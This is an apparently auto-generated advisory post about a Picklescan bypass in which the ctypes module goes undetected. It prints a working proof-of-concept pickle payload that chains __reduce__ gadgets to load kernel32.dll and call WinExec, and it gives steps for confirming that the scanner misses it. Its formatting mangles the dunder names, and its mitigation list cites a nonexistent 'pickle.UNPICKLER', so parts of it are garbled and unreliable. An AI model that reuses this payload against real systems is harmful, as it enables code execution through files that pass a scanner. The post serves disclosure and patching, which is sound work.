Listen to this Post
This vulnerability is a bypass in the Picklescan security scanner where it fails to recognize the `ctypes` module as dangerous during pickle deserialization analysis. The `ctypes` module provides a foreign function interface (FFI) for Python, allowing direct interaction with shared libraries and memory. An attacker can craft a malicious pickle payload that, when deserialized, uses `ctypes.WinDLL` to load the Windows `kernel32.dll` library. Through a chain of gadget classes (Kernel32Loader, WinExecGetter, PopCalc) defined with `__reduce__` methods, the payload retrieves a pointer to the `WinExec` function and executes it to run arbitrary commands (e.g., calc.exe). This achieves Remote Code Execution (RCE) by invoking native system calls directly, bypassing Python module restrictions and enabling sandbox escape through raw memory manipulation, which Picklescan versions prior to v0.0.33 do not detect.
Platform: picklescan
Version: < v0.0.33
Vulnerability : Deserialization Bypass
Severity: Critical
date: 2024-10-16
Prediction: 2024-10-30
What Undercode Say:
Analytics
Generate the exploit pickle file python3 create_exploit.py Scan the generated pickle file with vulnerable picklescan picklescan calc_exploit.pkl Expected (false) result: "No threats found"
The malicious pickle payload
import pickle
import ctypes
import operator
class Kernel32Loader:
def <strong>reduce</strong>(self):
return (ctypes.WinDLL, ("kernel32.dll",))
class WinExecGetter:
def <strong>reduce</strong>(self):
return (operator.itemgetter("WinExec"), (Kernel32Loader(),))
class PopCalc:
def <strong>reduce</strong>(self):
return (
operator.methodcaller("<strong>call</strong>", b"calc.exe", 1),
(WinExecGetter(),)
)
payload = pickle.dumps(PopCalc())
How Exploit:
- Attacker crafts pickle payload using `ctypes` and `operator` gadgets.
2. Victim loads/unpickles the malicious file.
3. Deserialization executes `__reduce__` chain.
4. `ctypes.WinDLL` loads `kernel32.dll`.
5. `WinExec` function pointer is retrieved and called.
6. Arbitrary command (`calc.exe`) executes.
Protection from this CVE
- Update to picklescan >= v0.0.33.
- Avoid unpickling untrusted data.
- Use `pickle.UNPICKLER` with restricted classes.
- Employ application allow-listing.
Impact:
- Remote Code Execution
- Sandbox Escape
- Memory Manipulation Bypass
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
